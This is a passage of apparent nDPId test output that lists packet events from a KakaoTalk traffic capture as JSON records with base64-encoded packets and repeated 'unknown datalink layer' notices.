packet","thread_id":0,"packet_id":1531,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1532,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":211951,"pkt_caplen":102,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":102,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFYAAEAAHRH9JAHJAa4KGFK8WgQsOABCYayAbDKCfq3UA1Sapdo++EZQ0wcWiqB8IPwfSP\/SzUqXbTB8AYPN8lzfRoo2Vh0FLiLeIMF1NgHAp0fi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1532,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1533,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":223822,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBIBp6AbDK7fq6pw1SapdpPXusixWd1xZD9vU0wXspLtjI3IoOjKp0nUkLk22N43eQ65ripfeB51bWD0ZWnHDSRXjXm"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1533,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1534,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":245429,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALEAAEAAHBH9yQHJAa4KGFK8WgYoHACdqQCAbE\/8iz5yWguGVRnznZcmTgzEWZ9JSb+P34dZn0LWbvEf1dMe7NFm0AhDJvOtf1NWHgrKSshQlta7dRjiJ3E0W6Ls\/hmKJTMH6uT1mJm1QrKQH4tzsrAEEOZ4esPmAnuQVw3rXznCwcFNAsQ+E\/wD6XaQ3Kdjz83A8nMtUfXyq7Rz3bIQ8j+naiMDO7dpzowjY13C0Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1534,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1535,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":259406,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHAAAEAAHBH+CgHJAa4KGFK8WgYoHABcqRuAbE\/9iz52GguGVRkjC7W7oiGK6mbqIjkwpguQyF8xNIgVKiitjXZW6x5fXGlQs6QfnSAUTFs2Y9NiWFm\/EPYLdwczn20hd5jLjFEpPRwa3nyYGwY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1535,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1536,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":268683,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/fnCAbDKDfq3Xw1Sapdo9p6TRX1Fw\/DfMXOn5yGafjUqrhLA+0iQB0qQfe3+mWvMN0DzEpcDkI+n\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1536,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1537,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":279364,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABI4umAbE\/+iz552guGVRk1KdClqP6u+dvEuDF3CgQBe+d9Tb6PmpOLl\/nJMEdkBoJWfxgVZiTilvnkutfqKmAj\/U1f"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1537,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1538,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":299414,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ZUuAbDKEfq3bg1SapdrCJOp2kU5g4mLQH8ukLOqpjFL1Qv4w8rxllfkac8NeCD7NXUDNTI9ifQrj"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1538,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1539,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":304419,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/Ie+AbDK8fq6tg1SapdqqUK3+ckfQPySZ+qCNGyxdkT3wy95RDJ\/RcnqzMfNomS\/naoafCcvjLbIn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1539,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1540,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":308020,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBAConkuAbFA2iz9L2guGVRntlVjiVR\/W0hWuAAxmni7\/wzEHbc7azun6YklTq+0dxkHIZ3o8KYCe2NZA88FYdLVIYkbGwJ07ha6gqUvvG0nce+1FRyTpAeRhEI4AmN432o1ejM9Xi+z9gqKWYmcMaFTD0OBuwn5HKmBs\/FRaBSguiYRvUVNWqnfadkY5qFL73Kh7DXhkcJbkBtGhW3jzAY1aiqYC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1540,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00596{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1541,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":309210,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMgAAEAAPxHa2goYUrwByQGuLDhaBAC0Hv6AbFA3iz9PmguGVRnddQ8sxWP4Cqj+kJdOMcNTifxhFfjhI8p2YIq8i\/jlTIPWKjmI07qP2FHED\/aJ1NFan9mbqtnKYtgWq7jA8VAtxhijeAQI7bin6c\/WLyTd39OHP6cl6ZnzgbvAUvoaTgUpxKYOTR9AkX+9tfZt5DGBw0UxyPfv3\/54InfalXRpnmiHzTgI0RJX8qji5Zi3rfgrUnaEFjOBhmls9Y+SyiGH"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1541,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1542,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":309302,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/taqAbDKFfq3fQ1Sapdp8iBtpSzcrgc3\/P9wgX7yLKoPr+m2+\/CL8L45CN4UQbQfkCf8YpCwYahFL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1542,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1543,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":343573,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/YRuAbDK9fq6xQ1SapdrNuN3Ek4nyYFm4ZuLGmyg3raxm8if7bkpI2VxQqTt\/5hstIYmrfn770B9N"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1543,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1544,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":413703,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHsAAEAAPxHbJwoYUrwByQGuLDhaBABnqu+AbFA4iz9TWguGVRnY\/4SLy+NBPGkTPybJrFYkKhTBGcu53zl0PPM35sxrulM1v7FGTM+GDF9aqM0iBa8TzhL9tKRbuTwGmepKVRna203llHT9LUfa5PLbtoXuARerGg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1544,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1545,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":413855,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJ6nGAbFA5iz9XGguGVRnxevio67B4ITDPBWfAADTnBWxzx0tfGjdz3ULq0HWmkSehpeKJ+EgE07xlfTYUg2di78\/v0A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1545,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1546,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":422400,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/pu+AbDK+fq61A1SapdotLrfmQAUxaLO1zLpqnfSx3qxm1IstmmIqg4ENh3w+KwtTUl+jf0\/OoTSQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1546,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1547,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":464911,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/XsqAbDK\/fq64w1SapdpuQvRT8j2GFx1GBbKaOmEPZG\/4axLok7YQVfFdq0LsqRYIiPzFNOtCyWEq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1547,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1548,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":505103,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/EfWAbDLAfq68g1SapdrQln7bvV\/HRLWT5m\/Af0j4LxwjgPceV0po6P9NokGHky+52bdAKPoJofKQ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1548,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1549,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":514563,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKw2mAbFA6iz9a2guGVRnh0hUDXM19toaXi3AuqiSxlrhnM44Ith47NB5+d2DCCPdvXESAz2VeU5KsY5sonL5+Y6cYmuE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1549,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1550,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":559577,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/swqAbDKGfq3jA1SapdqVOs\/uueyGy9gGnEZCIxe6fLar715J3ZuBOtOvzDfn1rVrJ6RzoFnyKJGi"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1550,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1551,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":560309,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABI5CeAbE\/\/iz59mguGVRmKW\/Kz3+b\/9UiOC9PmlEyHWzZDnUV\/X9Vp+U7SA\/fa5TW\/mqAmrfaMDR07LCFn0roAJxR+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1551,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1552,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":560462,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABLCgaAbFACiz6I2guGVRlHrrBrDJjD8G5+L5hyRXcEhDhwW1Ijc8y7OTXkD48J1YSYVnEs+SMNH2L3TpeFtvCGURLyWTk2"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1552,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1553,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":560553,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHBH+HAHJAa4KGFK8WgYoHABK3vSAbFADiz6MmguGVRmFbfQEv9\/UgiZdiKdJEfBXVnNG6+3cFQSWmm+IOebGYjnbaK+VlVF0zIgMTN6gZD5A4CGQUGg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1553,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1554,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":563636,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/ZmKAbDKIfq3qg1Sapdos+Eg6vIMZoty6ZWTUGzv2NElqfvO1WJnhVjR+5AANektf3jSlgKV\/e2Yc"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1554,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1555,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":564215,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/JrKAbDKJfq3uQ1Sapdq3gApGMi3eGl97P5n0oXIkUEX0slymo+5QLBcg\/LHFiunnnIOhhPcgpMjN"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1555,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1556,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":564734,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/qUSAbDKKfq3yA1SapdrCRgavQ830uFz9KipKayztiz9ivNobVAB6M5LN4gVqFqGpjKGKm3wU2FnP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1556,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1557,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":565222,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/RnWAbDKLfq31w1SapdrIcyE4BXv0ZrR0D+hReLhS9r11BTlJkupmQGMfsGUBIRoIy\/jjzbLRDmHB"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1557,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1558,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":565741,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/8GOAbDKMfq35g1SapdqkrmZ22tjaBceDQssikEX6kTDnymBCUph6kwUVuGfI2F6X3Pe+zdtpbYJg"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1558,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1559,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":566230,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/LoGAbDKHfq3mw1SapdqzE3d+fUSoHhWghEVGwIc6idQfy+XnURz0Jx+KOcsb\/q1xB8NBrC6DHzSR"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1559,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1560,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":566718,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YCaAbDKNfq39Q1Sapdr7SCN9mllMDFmR3isEgMyL5HVcX0bNFAleKa\/EVWBzxfm0upt0dGI6U64w"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1560,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1561,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":567237,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABIqduAbFAEiz6QWguGVRnOhCLkF8saKCosHf9xBrTVKyndNqwl6yIOPxpf2veNzS2Wa8a4DTnt67\/5gdIq9aDyrDjq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1561,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1562,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":567359,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHBH+IgHJAa4KGFK8WgYoHABEv1CAbFAFiz6UGguGVRns5JCIB5DxtrI1uTMxY5RuaM0bjWKS\/j6LWj1+dInxMXQUGrNxQjbA5pQf6fL1IVA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1562,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1563,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":567450,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJNliAbFAAiz6BWguGVRl+xzndFNUQrbqe5dUpaEZqz0zbbhptwAiuFzjqBib15DqrMO8EWbw0sHpM5ywjc6yf9EL2pg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1563,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1564,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":567542,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHBH+HQHJAa4KGFK8WgYoHABJZ\/WAbFABiz6FGguGVRlfkkmLalWWWwZ2KvtJPSH83xDYXUWk71vpQHFnU4oGQIP8ifVOaxZjcawnBsRvQvdTAjJb9A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1564,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1565,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":567633,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHBH+IAHJAa4KGFK8WgYoHABGcJWAbFAGiz6X2guGVRmbC67Y4vMWoucRDc8Vhei\/72tjIpNDv7Kup7mHtdqG1CM\/lOhx5l1Sl1ei\/steFtIzSQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1565,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00517{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1566,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069194,"pkt_ts_usec":579413,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI4AAEAAHBH97AHJAa4KGFK8WgYoHAB6dw6AbFAHiz6bmguGVRlfbjHXxO\/Cd6scgGwaUnE9TC9st+PXQnTDC0FoNkf209h4PFqFpGO44kZqEAFVKMawqBaExLZqLuI8xRvdLDeGxbU7In6RUxOmBYQcgppw4xcIVhQFVnMMaqtJjucaROaJv21gmVM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1566,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 